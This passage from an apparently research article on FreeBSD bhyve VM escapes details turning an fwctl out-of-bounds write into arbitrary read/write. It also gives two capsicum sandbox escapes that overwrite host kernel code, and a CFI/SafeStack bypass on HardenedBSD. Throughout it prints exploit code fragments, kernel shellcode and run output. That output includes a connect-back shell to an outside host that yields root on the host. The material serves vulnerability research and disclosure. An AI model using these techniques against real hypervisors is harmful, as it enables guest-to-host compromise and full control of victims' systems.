fwctl_request() further calls fwctl_request_data() after a successful
validation in fwctl_request_start():
static int
fwctl_request_data(uint32_t value)
{
. . .
rinfo.req_size -= sizeof(uint32_t);
. . .
(*rinfo.req_op->op_data)(value, remlen);
if (rinfo.req_size < sizeof(uint32_t)) {
fwctl_request_done();
return (1);
}
return (0);
}
'(*rinfo.req_op->op_data)' calls fget_data() to store the guest data into
an array 'static char fget_str[FGET_STRSZ]':
static void
fget_data(uint32_t data, int len)
{
*((uint32_t *) &fget_str[fget_cnt]) = data;
fget_cnt += sizeof(uint32_t);
}
fwctl_request_data() decrements 'rinfo.req_size' by 4 bytes on each request
and reads until 'rinfo.req_size < sizeof(uint32_t)'. 'fget_cnt' is used as
index into the 'fget_str' array and gets increment by 4 bytes on each
request. Since 'rinfo.req_size' is set to a large value 0xFFFFFFFF,
'fget_cnt' can be incremented beyond FGET_STRSZ and overwrite the memory
adjacent to 'fget_str' array. We have an out-of-bound write in the bss
segment!
Since 0xFFFFFFFF bytes of data is too much to read in, the device cannot be
transitioned into RESP state until 'rinfo.req_size < sizeof(uint32_t)'.
However, this state transition is not a requirement for exploiting the bug.
--[ 7 - Exploitation of fwctl bug
For the sake of simplicity of setup, we enable the fwctl device by default
even when a bootrom is not specified. The below patch is applied to bhyve
running on FreeBSD 11.2-RELEASE #0 r335510 host:
--- bhyverun.c.orig
+++ bhyverun.c
@@ -1019,8 +1019,7 @@
assert(error == 0);
}
- if (lpc_bootrom())
- fwctl_init();
+ fwctl_init();
#ifndef WITHOUT_CAPSICUM
bhyve_caph_cache_catpages();
Rest of this section will detail about the memory layout and techniques to
convert the out-of-bound write to a full process r/w.
----[ 7.1 - Analysis of memory layout in the bss segment
Unlike the heap, the memory adjacent to 'fget_str' has a deterministic
layout since it is allocated in the .bss segment. Moreover, FreeBSD does
not have ASLR or PIE, which helps in the exploitation of the bug.
Following memory layout was observed in the test environment:
char fget_str[80];
struct {
size_t f_sz;
uint32_t f_data[1024];
} fget_buf;
uint64_t padding;
struct iovec fget_biov[2];
size_t fget_size;
uint64_t padding;
struct inout_handlers handlers[65536];
. . .
struct mmio_rb_range *mmio_hint[VM_MAXCPU];
Guest will be able to overwrite everything beyond 'fget_str' array.
Corrupting 'f_sz' or 'fget_size' is not very interesting as the name
sounds. The first interesting target is the array of 'iovec' structures
since it has a pointer 'iov_base' and length 'iov_len' which gets used in
the RESP state of the device.
struct iovec {
void *iov_base;
size_t iov_len;
}
However, the device never reaches the RESP state due to the large value of
'rinfo.req_size' (0xFFFFFFFF). The next interesting target in the array of
'inout_handlers' structure.
+-----------------------------------------------------------------------+
| |
|+------------++------------+ +--------------------------++---------+|
|| || | | || ||
||fget_str[80]|| fget_buf |....|inout_handlers[0...0xffff]||mmio_hint||
|| || | | || ||
|+------------++------------+ +--------------------------++---------+|
| |
+-----------------------------------------------------------------------+
----[ 7.2 - Out of bound write to full process r/w
Corrupting 'inout_handlers' structure provides useful primitives for
exploitation as already detailed in section 4.2. In the VGA exploit,
corrupting the 'arg' pointer of VGA I/O port allows the guest to access
memory relative to the 'arg' pointer by accessing the 'dac_palette' array.
This section describes how a full process r/w can be achieved.
Let's analyze how the access to PCI I/O space BARs are emulated in bhyve.
This is done using pci_emul_io_handler() in pci_emul.c:
static int
pci_emul_io_handler(struct vmctx *ctx, int vcpu, int in, int port, int
bytes,
uint32_t *eax, void *arg)
{
struct pci_devinst *pdi = arg;
struct pci_devemu *pe = pdi->pi_d;
. . .
offset = port - pdi->pi_bar[i].addr;
if (in)
*eax = (*pe->pe_barread)(ctx, vcpu, pdi, i,
offset, bytes);
else
(*pe->pe_barwrite)(ctx, vcpu, pdi, i,
offset, bytes, *eax);
. . .
}
Here, 'arg' is a pointer to 'pci_devinst' structure, which holds 'pci_bar'
structure and a pointer to 'pci_devemu' structure. All these structures are
defined in 'pci_emul.h':
struct pci_devinst {
struct pci_devemu *pi_d;
. . .
void *pi_arg; /* devemu-private data */
u_char pi_cfgdata[PCI_REGMAX + 1];
struct pcibar pi_bar[PCI_BARMAX + 1];
};
'pci_devemu' structure has callbacks specific to each of the virtual
devices. The callbacks of interest for this section are 'pe_barwrite' and
'pe_barread', which are used for handling writes and reads to BAR mapping
I/O memory space:
struct pci_devemu {
char *pe_emu; /* Name of device emulation */
. . .
/* BAR read/write callbacks */
void (*pe_barwrite)(struct vmctx *ctx, int vcpu,
struct pci_devinst *pi, int baridx,
uint64_t offset, int size, uint64_t
value);
uint64_t (*pe_barread)(struct vmctx *ctx, int vcpu,
struct pci_devinst *pi, int baridx,
uint64_t offset, int size);
};
'pci_bar' structure stores information about the type, address and size of
BAR:
struct pcibar {
enum pcibar_type type; /* io or memory */
uint64_t size;
uint64_t addr;
};
By overwriting any 'inout_handlers->handler' with pointer to
pci_emul_io_handler() and 'arg' with pointer to fake 'pci_devinst'
structure, it is possible to control the calls to 'pe->pe_barread' and
'pe->pe_barwrite' and its arguments 'pi', 'offset' and 'value'. Next part
of the analysis is to find a 'pe_barwrite' and 'pe_barread' callback useful
for full process r/w.
Bhyve has a dummy PCI device initialized in pci_emul.c which suits this
purpose:
#define DIOSZ 8
#define DMEMSZ 4096
struct pci_emul_dsoftc {
uint8_t ioregs[DIOSZ];
uint8_t memregs[2][DMEMSZ];
};
. . .
static void
pci_emul_diow(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int
baridx,
uint64_t offset, int size, uint64_t value)
{
int i;
struct pci_emul_dsoftc *sc = pi->pi_arg;
. . .
if (size == 1) {
sc->ioregs[offset] = value & 0xff;
} else if (size == 2) {
*(uint16_t *)&sc->ioregs[offset] = value & 0xffff;
} else if (size == 4) {
*(uint32_t *)&sc->ioregs[offset] = value;
. . .
}
static uint64_t
pci_emul_dior(struct vmctx *ctx, int vcpu, struct pci_devinst *pi, int
baridx,
uint64_t offset, int size)
{
struct pci_emul_dsoftc *sc = pi->pi_arg;
. . .
if (size == 1) {
value = sc->ioregs[offset];
} else if (size == 2) {
value = *(uint16_t *) &sc->ioregs[offset];
} else if (size == 4) {
value = *(uint32_t *) &sc->ioregs[offset];
. . .
}
pci_emul_diow() and pci_emul_dior() are the 'pe_barwrite' and 'pe_barread'
callbacks for this dummy device. Since 'pci_devinst' structure is fake,
'pi->pi_arg' could be set to an arbitrary value. Read and write to 'ioregs'
or 'memregs' could access any memory relative to the arbitrary address set
in 'pi->pi_arg'.
Guest can now overwrite the 'inout_handlers[0]' structure as detailed above
and access I/O port 0 to trigger memory read or write relative to fake
'pi_arg'. Though this is good enough to exploit the bug, we still do not
have full process arbitrary r/w.
In order to access multiple addresses of choice, multiple fake
'pci_devinst' structure needs to be created, i.e. I/O port 0 with fake
'pi_arg' pointer to address X, I/O port 1 with fake pointer 'pi_arg' to
address Y and so on.
+------------------------------------------------------------------------+
| Representations |
| +--------------+---+ +---------------+---+ |
| | Fake | +--->+----+ | Fake | | |
| | pci_devinst | | FI | | pci_devemu | | |
| | +---------+ | |+--+| | +-----------+ | | |
| | | pi_d | | ||PD|| | |pe_barread | | +--->+----+ |
| | +---------+ | |+--+| | +-----------+ | | FE | |
| | +---------+ | |+--+| | +-----------+ | +--->+----+ |
| | | pi_arg | | ||PA|| | |pe_barwrite| | | |
| | +---------+ | |+--+| | +-----------+ | | |
| | | +--->+----+ | | | |
| +--------------+---+ +---------------+---+ |
| |
| |
| +---------------+--+ |
| | Fake | | |
| |inout_handlers | | |
| | | | |
| | | +--->+----+ |
| | +------+ | | IO | |
| | | arg | | +--->+----+ |
| | +------+ | | |
| | | | |
| | | | |
| +---------------+--+ |
+------------------------------------------------------------------------+
Fake Structures
+----------------------------------+
| |
+------+---------------------------+ |
| | | |
+-------+------+--------------------+ | |
| | | | | |
+-----------------+-------+------+--------------------+------+------+---+
|+--------+ +-----+-------+------+-----------+ +--+--++--+--++--+--+|
|| | | | | | fget_buf | | || || ||
|| | | +---v--++---v--++--v---++----+ | | || || ||
|| | | | FI[0]|| FI[1]|| FI[N]|| | | | || || ||
|| | | | +--+ || +--+ || +--+ || | | | || || ||
||fget_str| | | |PD| || |PD| || |PD| || | | |IO[0]||IO[1]||IO[N]||
|| | | | +--+ || +--+ || +--+ || FE | | | || || ||
|| | | | +--+ || +--+ || +--+ || | | | || || ||
|| | | | |PA| || |PA| || |PA| || | | | || || ||
|| | | | +-++ || +-++ || +-++ || | | | || || ||
|| | | +---+--++---+--++---+--++----+ | | || || ||
|+--------+ +-----+-------+-------+----------+ +-----++-----++-----+|
+-----------------+-------+-------+-------------------------------------+
| | |
| | |
| | |
v | |
+---------+ | |
|Address X| | |
+---------+ | |
v |
+---------+ |
|Address Y| |
+---------+ |
v
+---------+
|Address N|
+---------+
Instead, guest could create 2 fake 'pci_devinst' structure by corrupting
'inout_handlers' structures for I/O port 0 and 1. First 'pi_arg' could
point to the address of 'fget_cnt'. fget_data() writes data into 'fget_str'
array using 'fget_cnt' as index. Since 'fget_cnt' controls the relative
write from 'fget_str', it can be used to modify second 'pi_arg' or any
other memory adjacent to 'fget_str'.
So, the idea is to perform the following
- Corrupt inout_handlers[0] so that 'pi_arg' in 'pci_devinst' structure
points to 'fget_cnt'
- Corrupt inout_handlers[1] such that 'pi_arg' in 'pci_devinst' is
initially set to NULL
- Set fget_cnt value using I/O port 0, such that fget_str[fget_cnt] points
to 'pi_arg' of I/O port 1
- Use fwctl write operation to set 'pi_arg' of I/O port 1 to arbitrary
address
- Use I/O port 1, to read or write to the address set in the previous step
- Above 3 steps could be repeated to perform read or write to anywhere in
memory
- Alternatively, inout_handlers[0] could also be set up to write directly
to 'pi_arg' of I/O port 1
Fake Structures
+----------------------------+
| |
+------+---------------------+ |
| | | |
+-------------------------------+------+---------------------+------+---+
| +--------+ +--------+ +----+------+------------+ +--+--++--+--+|
| | | | | | | | fget_buf | | || ||
| | | | | |+---v--++--v---+ +----+ | | || ||
| | | | | || FI[0]|| FI[1]| | | | | || ||
| | | | | || +--+ || +--+ | | | | | || ||
| |fget_cnt| |fget_str| || |PD| || |PD| | | | | |IO[0]||IO[1]||
| | | | | || +--+ || +--+ | | FE | | | || ||
| | | | | || +--+ || +--+ | | | | | || ||
| | | | | || |PA| || |PA| | | | | | || ||
| | | | | || ++-+ || +^-+ | | | | | || ||
| | | | | |+--+---++--+-+-+ +----+ | | || ||
| +-+---^--+ +--------+ +---+-------+-+----------+ +-----++-----+|
+---+---+----------------------+-------+-+------------------------------+
| | | | |
| | | | |
| | | | |
| +----------------------+ | |
| FI[0]->pi_arg | |
| points to fget_cnt | |
| to set index | |
| | |
+----------------------------------+ |
fget_str[fget_cnt] |
points to |
FI[1]->pi_arg |
|
v
+---------------+
| Arbitrary R/W |
+---------------+
From here guest could re-use any of the technique used in VGA exploit for
RIP and RSP control. The attached exploit code uses 'mmio_hint' overwrite.
--[ 8 - Sandbox escape using PCI passthrough
Bhyve added support for capsicum sandbox [9] through changes [10] [11].
Addition of capsicum is a huge security improvement as a large number of
syscalls are filtered, and any code execution in bhyve is limited to the
sandboxed process.
The user space process enters capability mode after performing all the
initialization in main() function of bhyverun.c:
int
main(int argc, char *argv[])
{
. . .
#ifndef WITHOUT_CAPSICUM
. . .
if (cap_enter() == -1 && errno != ENOSYS)
errx(EX_OSERR, "cap_enter() failed");
#endif
. . .
}
The sandbox specific code in bhyve is wrapped within the preprocessor
directive 'WITHOUT_CAPSICUM', such that one can also build bhyve without
capsicum support if needed. Searching for 'WITHOUT_CAPSICUM' in the
codebase will give a fair understanding of the restrictions imposed on the
bhyve process. The sandbox reduces capabilities of open file descriptors
using cap_rights_limit(), and for file descriptors having CAP_IOCTL
capability, cap_ioctls_limit() is used to whitelist the allowed set of
IOCTLs.
However, virtual devices do interact with kernel drivers in the host. A bug
in any of the whitelisted IOCTL command could allow code execution in the
context of the host kernel. This attack surface is dependent on the virtual
devices enabled in the guest VM and the descriptors opened by them during
initialization. Another interesting attack surface is the VMM itself. The
VMM kernel module has a bunch of IOCTL commands, most of which are
reachable by default from within the sandbox.
This section details about a couple of sandbox escapes through PCI
passthrough implementation in bhyve [12]. PCI passthrough in bhyve allows a
guest VM to directly interact with the underlying hardware device
exclusively available for its use. However, there are some exceptions:
- Guest is not allowed to modify the BAR registers directly
- Read and write access to the BAR and MSI capability registers in the PCI
configuration space are emulated
PCI passthrough devices are initialized using passthru_init() function in
pci_passthru.c. passthru_init() further calls cfginit() to initialize MSI
and BARs for PCI using cfginitmsi() and cfginitbar() respectively.
cfginitbar() allocates the BAR in guest address space using
pci_emul_alloc_pbar() and then maps the physical BAR address to the guest
address space using vm_map_pptdev_mmio():
static int
cfginitbar(struct vmctx *ctx, struct passthru_softc *sc)
{
. . .
for (i = 0; i <= PCI_BARMAX; i++) {
. . .
if (ioctl(pcifd, PCIOCGETBAR, &bar) < 0)
. . .
/* Cache information about the "real" BAR */
sc->psc_bar[i].type = bartype;
sc->psc_bar[i].size = size;
sc->psc_bar[i].addr = base;
/* Allocate the BAR in the guest I/O or MMIO space */
error = pci_emul_alloc_pbar(pi, i, base, bartype, size);
. . .
/* The MSI-X table needs special handling */
if (i == pci_msix_table_bar(pi)) {
error = init_msix_table(ctx, sc, base);
. . .
} else if (bartype != PCIBAR_IO) {
/* Map the physical BAR in the guest MMIO space */
error = vm_map_pptdev_mmio(ctx, sc->psc_sel.pc_bus,
sc->psc_sel.pc_dev, sc->psc_sel.pc_func,
pi->pi_bar[i].addr, pi->pi_bar[i].size,
base);
. . .
}
}
vm_map_pptdev_mmio() API is part of libvmmapi library and defined in
vmmapi.c. It calls VM_MAP_PPTDEV_MMIO IOCTL command to create the mappings
for host memory in the guest address space. The IOCTL requires the bus,
slot, func details of the passthrough device, the guest physical address
'gpa' and the host physical address 'hpa' as parameters:
int
vm_map_pptdev_mmio(struct vmctx *ctx, int bus, int slot, int func,
vm_paddr_t gpa, size_t len, vm_paddr_t hpa)
{
. . .
pptmmio.gpa = gpa;
pptmmio.len = len;
pptmmio.hpa = hpa;
return (ioctl(ctx->fd, VM_MAP_PPTDEV_MMIO, &pptmmio));
}
BARs for MSI-X Table and MSI-X Pending Bit Array (PBA) are handled
differently from memory or I/O BARs. MSI-X Table is not directly mapped to
the guest address space but emulated. MSI-X Table and MSI-X PBA could use
two separate BARs, or they could be mapped to the same BAR. When mapped to
the same BAR, MSI-X structures could also end up sharing a page, though the
offsets do not overlap. So MSI-X emulation considers the below conditions:
- MSI-X Table does not exclusively map a BAR
- MSI-X Table and MSI-X PBA maps the same BAR
- MSI-X Table and MSI-X PBA maps the same BAR and share a page
The interesting case for sandbox escape is the emulation when MSI-X Table
and MSI-X PBA share a page. Let's take a closer look at init_msix_table():
static int
init_msix_table(struct vmctx *ctx, struct passthru_softc *sc, uint64_t
base)
{
. . .
if (pi->pi_msix.pba_bar == pi->pi_msix.table_bar) {
. . .
/*
* The PBA overlaps with either the first or last
* page of the MSI-X table region. Map the
* appropriate page.
*/
if (pba_offset <= table_offset)
pi->pi_msix.pba_page_offset = table_offset;
else
pi->pi_msix.pba_page_offset = table_offset
+
table_size - 4096;
pi->pi_msix.pba_page = mmap(NULL, 4096, PROT_READ |
PROT_WRITE, MAP_SHARED, memfd, start +
pi->pi_msix.pba_page_offset);
. . .
}
. . .
/* Map everything before the MSI-X table */
if (table_offset > 0) {
len = table_offset;
error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base);
. . .
/* Skip the MSI-X table */
. . .
/* Map everything beyond the end of the MSI-X table */
if (remaining > 0) {
len = remaining;
error = vm_map_pptdev_mmio(ctx, b, s, f, start, len, base);
. . .
}
All physical pages before and after the MSI-X table are directly mapped
into the guest address space using vm_map_pptdev_mmio(). Access to PBA on
page shared by MSI-X table and MSI-X PBA is emulated by mapping the
/dev/mem interface using mmap(). Read or write to PBA is allowed based on
the offset of memory access in the page and any direct access to MSI-X
table on the shared page is avoided. The handle to /dev/mem interface is
opened during passthru_init() and remains open till the lifetime of the
process:
#define _PATH_MEM "/dev/mem"
. . .
static int
passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
. . .
if (memfd < 0) {
memfd = open(_PATH_MEM, O_RDWR, 0);
. . .
cap_rights_set(&rights, CAP_MMAP_RW);
if (cap_rights_limit(memfd, &rights) == -1 && errno != ENOSYS)
. . .
}
There are two interesting things to notice in the overall PCI passthrough
implementation:
- There is an open handle to /dev/mem interface with CAP_MMAP_RW rights
within the sandboxed process. FreeBSD does not restrict access to this
memory file like Linux does with CONFIG_STRICT_DEVMEM
- The VM_MAP_PPTDEV_MMIO IOCTL command maps host memory pages into the
guest address space for supporting passthrough. However, the IOCTL does
not validate the host physical address for which a mapping is requested.
The host address may or may not belong to any of the BARs mapped by a
device.
Both of this can be used to escape the sandbox by mapping arbitrary host
memory from within the sandbox.
With the ability to read and write to an arbitrary physical address, the
initial plan was to find and overwrite the 'ucred' credentials structure of
the bhyve process. Searching through the system memory to locate the
'ucred' structure could be time-consuming. An alternate approach is to
target some deterministic allocation in the physical address space. The
kernel base physical address of FreeBSD x86_64 system is not randomized
[13] and always starts at 0x200000 (2MB). Guest can overwrite host kernel's
.text segment to escape the sandbox.
To come up with a payload to disable capability lets analyze the
sys_cap_enter() syscall. The sys_cap_enter() system call sets the
CRED_FLAG_CAPMODE flag in 'cr_flags' element of 'ucred' structure to enable
the capability mode. Below is the code from kern/sys_capability.c:
int
sys_cap_enter(struct thread *td, struct cap_enter_args *uap)
{
. . .
if (IN_CAPABILITY_MODE(td))
return (0);
newcred = crget();
p = td->td_proc;
. . .
newcred->cr_flags |= CRED_FLAG_CAPMODE;
proc_set_cred(p, newcred);
. . .
}
The macro 'IN_CAPABILITY_MODE()' defined in capsicum.h is used to verify if
the process is in capability mode and enforce restrictions.
#define IN_CAPABILITY_MODE(td) (((td)->td_ucred->cr_flags &
CRED_FLAG_CAPMODE) != 0)
To disable capability mode:
- Overwrite a system call which is reachable from within the sandbox and
takes a pointer to 'thread' (sys/sys/proc.h) or 'ucred' (sys/sys/ucred.h)
structure as argument
- Trigger the overwritten system call from the sandboxed process
- Overwritten payload should use the pointer to 'thread' or 'ucred'
structure to disable capability mode set in 'cr_flags'
The ideal choice for this turns out to be sys_cap_enter() system call
itself since its reachable from within the sandbox and takes 'thread'
structure as its first argument. The kernel payload to replace
sys_cap_enter() syscall code is below:
root@:~ # gdb -q /boot/kernel/kernel
Reading symbols from /boot/kernel/kernel...Reading symbols from
/usr/lib/debug//boot/kernel/kernel.debug...done.
done.
(gdb) macro define offsetof(t, f) &((t *) 0)->f)
(gdb) p offsetof(struct thread, td_ucred)
$1 = (struct ucred **) 0x140
(gdb) p offsetof(struct ucred, cr_flags)
$2 = (u_int *) 0x40
movq 0x140(%rdi), %rax /* get ucred, struct ucred *td_ucred */
xorb $0x1, 0x40(%rax) /* flip cr_flags in ucred */
xorq %rax, %rax
ret
Now either the open handle to /dev/mem interface or VM_MAP_PPTDEV_MMIO
IOCTL command can be used to escape the sandbox. The /dev/mem sandbox
escape requires the first stage payload executing within the sandbox to
mmap() the page having the kernel code of sys_cap_enter() system call and
then overwrite it:
---[ shellcode.c ]---
. . .
kernel_page = (uint8_t *)payload->syscall(SYS_mmap, 0, 4096,
PROT_READ | PROT_WRITE, MAP_SHARED,
DEV_MEM_FD, sys_cap_enter_phyaddr & 0xFFF000);
offset_in_page = sys_cap_enter_phyaddr & 0xFFF;
for (int i = 0; i < sizeof(payload->disable_capability); i++) {
kernel_page[offset_in_page + i] =
payload->disable_capability[i];
}
payload->syscall(SYS_cap_enter);
. . .
VM_MAP_PPTDEV_MMIO IOCTL sandbox escape requires some more work. The guest
physical address to map the host kernel page should be chosen correctly.
VM_MAP_PPTDEV_MMIO command is handled in vmm/vmm_dev.c by a series of calls
ppt_map_mmio()->vm_map_mmio()->vmm_mmio_alloc(). The call of importance is
'vmm_mmio_alloc()' in vmm/vmm_mem.c:
vm_object_t
vmm_mmio_alloc(struct vmspace *vmspace, vm_paddr_t gpa, size_t len,
vm_paddr_t hpa)
{
. . .
error = vm_map_find(&vmspace->vm_map, obj, 0, &gpa, len, 0,
VMFS_NO_SPACE, VM_PROT_RW, VM_PROT_RW,
0);
. . .
}
The vm_map_find() function [14] is used to find a free region in the
provided map 'vmspace->vm_map' with 'find_space' strategy set to
VMFS_NO_SPACE. This means the MMIO mapping request will only succeed if
there is a free region of the requested length at the given guest physical
address. An ideal address to use would be from a memory range not allocated
to system memory or PCI devices [15].
The first stage shellcode executing within the sandbox will map the host
kernel page into the guest and returns control back to the guest OS.
---[ shellcode.c ]---
. . .
payload->mmio.bus = 2;
payload->mmio.slot = 3;
payload->mmio.func = 0;
payload->mmio.gpa = gpa_to_host_kernel;
payload->mmio.hpa = sys_cap_enter_phyaddr & 0xFFF000;
payload->mmio.len = getpagesize();
. . .
payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO,
&payload->mmio);
. . .
The guest OS then maps the guest physical address and writes to it, which
in turn overwrites the host kernel pages:
---[ exploit.c ]---
. . .
warnx("[+] Mapping GPA pointing to host kernel...");
kernel_page = map_phy_address(gpa_to_host_kernel, getpagesize());
warnx("[+] Overwriting sys_cap_enter in host kernel...");
offset_in_page = sys_cap_enter_phyaddr & 0xFFF;
memcpy(&kernel_page[offset_in_page], &disable_capability,
(void *)&disable_capability_end - (void
*)&disable_capability);
. . .
Finally, the guest triggers the second stage payload to call
sys_cap_enter() to disable the capability mode. Interestingly, the
VM_MAP_PPTDEV_MMIO command sandbox escape will work even when an individual
guest VM is not configured to use PCI passthrough.
During initialization passthru_init() calls the libvmmapi API
vm_assign_pptdev() to bind the device:
static int
passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
. . .
if (vm_assign_pptdev(ctx, bus, slot, func) != 0) {
. . .
}
int
vm_assign_pptdev(struct vmctx *ctx, int bus, int slot, int func)
{
. . .
pptdev.bus = bus;
pptdev.slot = slot;
pptdev.func = func;
return (ioctl(ctx->fd, VM_BIND_PPTDEV, &pptdev));
}
Similarly, payload running in the sandboxed process can bind to a
passthrough device using VM_BIND_PPTDEV IOCTL command and then use
VM_MAP_PPTDEV_MMIO command to escape the sandbox. For this to work, some
PCI device should be configured for passthrough in the loader configuration
of the host [12] and not owned by any other guest VM.
---[ shellcode.c ]---
. . .
payload->pptdev.bus = 2;
payload->pptdev.slot = 3;
payload->pptdev.func = 0;
. . .
payload->syscall(SYS_ioctl, VMM_FD, VM_BIND_PPTDEV,
&payload->pptdev);
payload->syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO,
&payload->mmio);
. . .
Running the VM escape exploit with PCI passthrough sandbox escape will give
the following output:
root@guest:~/setupB/fwctl_sandbox_bind_exploit # ./exploit 192.168.182.144
6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Changing state to IDENT_SEND
exploit: [+] Reading signature...
exploit: [+] Received signature : BHYV
exploit: [+] Set req_size value to 0xFFFFFFFF
exploit: [+] Setting up fake structures...
exploit: [+] Preparing connect back shellcode for 192.168.182.144:6969
exploit: [+] Sending data to overwrite IO handlers...
exploit: [+] Overwriting mmio_hint...
exploit: [+] Triggering MMIO read to execute sandbox bypass payload...
exploit: [+] Mapping GPA pointing to host kernel...
exploit: [+] Overwriting sys_cap_enter in host kernel...
exploit: [+] Triggering MMIO read to execute connect back payload...
root@guest:~/setupB/fwctl_sandbox_bind_exploit #
root@guest:~ # nc -vvv -l 6969
Connection from 192.168.182.143 61608 received!
id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
It is also possible to trigger a panic() in the host kernel from within the
sandbox by adding a device twice using VM_BIND_PPTDEV. During the
VM_BIND_PPTDEV command handling, vtd_add_device() in vmm/intel/vtd.c calls
panic() if the device is already owned. I did not explore this further as
it is less interesting for a complete sandbox escape.
static void
vtd_add_device(void *arg, uint16_t rid)
{
. . .
if (ctxp[idx] & VTD_CTX_PRESENT) {
panic("vtd_add_device: device %x is already owned by "
"domain %d", rid,
(uint16_t)(ctxp[idx + 1] >> 8));
}
. . .
}
---[ core.txt ]---
. . .
panic: vtd_add_device: device 218 is already owned by domain 2
cpuid = 0
KDB: stack backtrace:
#0 0xffffffff80b3d567 at kdb_backtrace+0x67
#1 0xffffffff80af6b07 at vpanic+0x177
#2 0xffffffff80af6983 at panic+0x43
#3 0xffffffff8227227c at vtd_add_device+0x9c
#4 0xffffffff82262d5b at ppt_assign_device+0x25b
#5 0xffffffff8225da20 at vmmdev_ioctl+0xaf0
#6 0xffffffff809c49b8 at devfs_ioctl_f+0x128
#7 0xffffffff80b595ed at kern_ioctl+0x26d
#8 0xffffffff80b5930c at sys_ioctl+0x15c
#9 0xffffffff80f79038 at amd64_syscall+0xa38
#10 0xffffffff80f57eed at fast_syscall_common+0x101
. . .
--[ 9 - Analysis of CFI and SafeStack in HardenedBSD 12-CURRENT
Bhyve in HardenedBSD 12-CURRENT comes with mitigations like ASLR, PIE,
clang's Control-Flow Integrity (CFI) [16], SafeStack etc. Addition of
mitigations created a new set of challenge for exploit development. The
initial plan was to test against these mitigations using CVE-2018-17160
[21]. However, turning CVE-2018-17160 into an information disclosure looked
less feasible during my analysis. To continue the analysis further, I
reverted the patch for VGA bug (FreeBSD-SA-16:32) [1] for information
disclosure. Now we have a combination of two bugs, VGA bug to disclose
bhyve base address and fwctl bug for arbitrary r/w.
During an indirect call, CFI verifies if the target address points to a
valid function and has a matching function pointer type. All the details
mentioned in section 7.2 for achieving arbitrary read and write works even
under CFI once we know the bhyve base address. The function
pci_emul_io_handler() used to overwrite the 'handler' in 'inout_handlers'
structure and functions pci_emul_dior(), pci_emul_diow() used in fake
'pci_devemu' structure, all have matching function pointer types and does
not violate CFI rules.
For making indirect function calls, CFI instrumentation generates a jump
table, which has branch instruction to the actual target function [17]. It
is this address of jump table entries which are valid targets for CFI and
should be used when overwriting the callbacks. Symbols to the target
function are referred to as *.cfi. Since radare2 does a good job in
analyzing CFI enabled binaries, jump tables can be located by finding
references to the symbols *.cfi.
# r2 /usr/sbin/bhyve
[0x0001d000]> o /usr/lib/debug/usr/sbin/bhyve.debug
[0x0001d000]> aaaa
[0x0001d000]> axt sym.pci_emul_diow.cfi
sym.pci_emul_diow 0x64ca8 [code] jmp sym.pci_emul_diow.cfi
[0x0001d000]> axt sym.pci_emul_dior.cfi
sym.pci_emul_dior 0x64c60 [code] jmp sym.pci_emul_dior.cfi
Rest of the section will detail about targets to overwrite when CFI and
SafeStack are in place. All the previously detailed techniques will no
longer work. CFI bypasses due to lack of Cross-DSO CFI is out of scope for
this research.
----[ 9.1 - SafeStack bypass using neglected pointers
SafeStack [18] protects against stack buffer overflows by separating the
program stack into two regions - safe stack and unsafe stack. The safe
stack stores critical data like return addresses, register spills etc.
which need protection from stack buffer overflows. For protection against
arbitrary memory writes, SafeStack relies on randomization and information
hiding. ASLR should be strong enough to prevent an attacker from predicting
the address of the safe stack, and no pointers to the safe stack should be
stored outside the safe stack itself.
However, this is not always the case. There are a lot of neglected pointers
to the safe stack as already demonstrated in [19]. Bhyve stores pointers to
stack data in global variables during its initialization in main 'mevent'
thread. Some of the pointers are 'guest_uuid_str', 'vmname', 'progname' and
'optarg' in bhyverun.c. Other interesting variables storing pointers to the
stack are 'environ' and '__progname':
root@renorobert:~ # gdb -q -p `pidof bhyve`
Attaching to process 62427
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
(gdb) x/gx &progname
0x262fbe9b600 <progname>: 0x00006dacc2a15a40
'mevent' thread also stores a pointer to pthread structure in 'mevent_tid'
declared in mevent.c:
static pthread_t mevent_tid;
. . .
void
mevent_dispatch(void)
{
. . .
mevent_tid = pthread_self();
. . .
}
The arbitrary read primitive created from fwctl bug can disclose the safe
stack address of 'mevent' thread by reading any of the variables mentioned
above.
Let's consider the case of 'mevent_tid' pthread structure. The 'pthread'
and 'pthread_attr' structures are defined in libthr/thread/thr_private.h.
The useful elements for leaking stack address include 'unwind_stackend',
'stackaddr_attr' and 'stacksize_attr'. Below is the output of the analysis
from gdb and procstat:
(gdb) print ((struct pthread *)mevent_tid)->unwind_stackend
$3 = (void *) 0x6dacc2a16000
(gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr
$4 = (void *) 0x6dac82a16000
(gdb) print ((struct pthread *)mevent_tid)->attr.stacksize_attr
$5 = 1073741824
(gdb) print ((struct pthread *)mevent_tid)->attr.stackaddr_attr + ((struct
pthread *)mevent_tid)->attr.stacksize_attr
$6 = (void *) 0x6dacc2a16000
root@renorobert:~ # procstat -v `pidof bhyve`
. . .
62427 0x6dac82a15000 0x6dac82a16000 --- 0 0 0 0 ---- --
62427 0x6dac82a16000 0x6dacc29f6000 --- 0 0 0 0 ---- --
62427 0x6dacc29f6000 0x6dacc2a16000 rw- 3 3 1 0 ---D df
Once the safe stack location of 'mevent' thread is leaked, arbitrary write
can be used to overwrite the return address of any function call. It is
also possible to calculate the safe stack address of other threads since
they are relative to address of 'mevent' thread's safe stack.
Next, we should find a target function call to overwrite the return
address. The event dispatcher function mevent_dispatch() (section 3.2) goes
into an infinite loop, waiting for events using a blocking call to
kevent():
void
mevent_dispatch(void)
{
. . .
for (;;) {
. . .
ret = kevent(mfd, NULL, 0, eventlist, MEVENT_MAX, NULL);
. . .
mevent_handle(eventlist, ret);
}
}
Overwriting the return address of the blocking call to kevent() gives RIP
control as soon as an event is triggered in bhyve. Below is the output of
the proof-of-concept code demonstrating RIP control:
root@guest:~/setupC/cfi_safestack_bypass # ./exploit
exploit: [+] Triggering info leak using FreeBSD-SA-16:32.bhyve...
exploit: [+] mevent located @ offset = 0x1df58
exploit: [+] Leaked power_handler address = 0x262fbc43ae0
exploit: [+] Bhyve base address = 0x262fbbdf000
